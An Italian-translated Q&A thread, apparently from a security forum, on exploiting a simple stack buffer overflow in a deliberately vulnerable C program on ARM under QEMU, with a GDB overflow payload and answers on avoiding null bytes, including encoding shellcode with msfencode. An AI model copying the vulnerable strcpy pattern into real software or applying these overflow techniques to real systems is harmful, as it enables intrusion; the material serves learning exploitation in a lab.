Overflow dello stack su ARM: numero di byte nulli

2

Sto cercando di seguire il documento di ricerca di Tiger Security per ARM Exploitation: collegamento

Per lo sfruttamento dell'overflow dello stack semplice, il codice è:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void donuts(){
puts("Donuts...") ;
exit(0) ;
}
void vuln(char *arg) {
char buff[10] ;
strcpy(buff,arg);
}
int main (int argc,char **argv ){
vuln(argv[1]) ;
return 0;
}

Tuttavia, quando lo eseguo sul mio Debian ARM Machine in esecuzione su Qemu, sotto Ubuntu. Tutto funziona bene, tranne la parte in cui devo inserire gli indirizzi che riempiono il puntatore del frame, il puntatore dello stack e l'indirizzo di ritorno.

Quindi il codice finale risultante da eseguire con GDB (nel mio caso) diventa:

r 'printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 4 bytes here]\x38\x84"'

Nel mio caso: Desiderata

SP : 0xbe8bac94 
FP: 0x000084ac 
Return Address: 0x00008438

Dato che l'FP contiene byte nulli nel mezzo, c'è un modo in cui potrei usarlo nel mio sfruttamento. Dato che, nel mezzo, non sono in grado di usare \ xac \ x84.

    
posta Robert Shane 25.11.2012 - 12:40
fonte

3 risposte

5

Perché avresti bisogno di un FP specifico? Il FP salvato è lì per essere caricato nuovamente nel registro corrispondente dalla funzione vuln() quando esce; ma quella funzione non lo accede in alcun modo, quindi potrebbe avere qualsiasi valore. Il back-loading di FP è a beneficio di qualunque codice verrà eseguito immediatamente dopo: normalmente il chiamante di vuln() (che vuole recuperare il suo FP), ma, nel tuo caso, il tuo codice di exploit, dal momento che tu dirigi l'indirizzo di ritorno . Spetta a te occuparti di un valore FP non sensoriale (questo è il tuo codice: puoi farlo ricalcolare un valore adeguato di FP con pochi opcode senza zero).

Modifica: questo articolo , in particolare la sezione 2.4 ("Ottenere un valore noto in un registro") potrebbe essere illuminante.

    
risposta data 25.11.2012 - 16:18
fonte
2

Se stai riscontrando un problema con i byte null, prova a codificare lo shellcode prima di utilizzarlo per eliminare i byte null. Presumo che tu abbia metasploit e sia in grado di utilizzare l'encoder. Ecco come funziona.

shell = (" \x77\x... your shellcode")
file = open('shellcode.bin','w')
file.write(shell)
file.close()

oppure puoi anche usare

echo -e "shellcode" >> shellcode.bin

ed esegui il seguente

/msfencode -b '\x00' -i /pentest/exploits/shellcode.bin -t c

Spero che i metodi sopra riportati ti aiutino ad andare avanti. Buona fortuna!

    
risposta data 25.11.2012 - 14:58
fonte
1

L'assunzione è sbagliata. non è necessario utilizzare l'intero indirizzo a 4 byte del FP. Dal momento che la tua CPU comprenderà la modalità pollice. di conseguenza il tuo exploit sarà simile a:

printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 2 bytes without \x00\x00 here]\x38\x84"

    
risposta data 30.11.2014 - 13:54
fonte

Leggi altre domande sui tag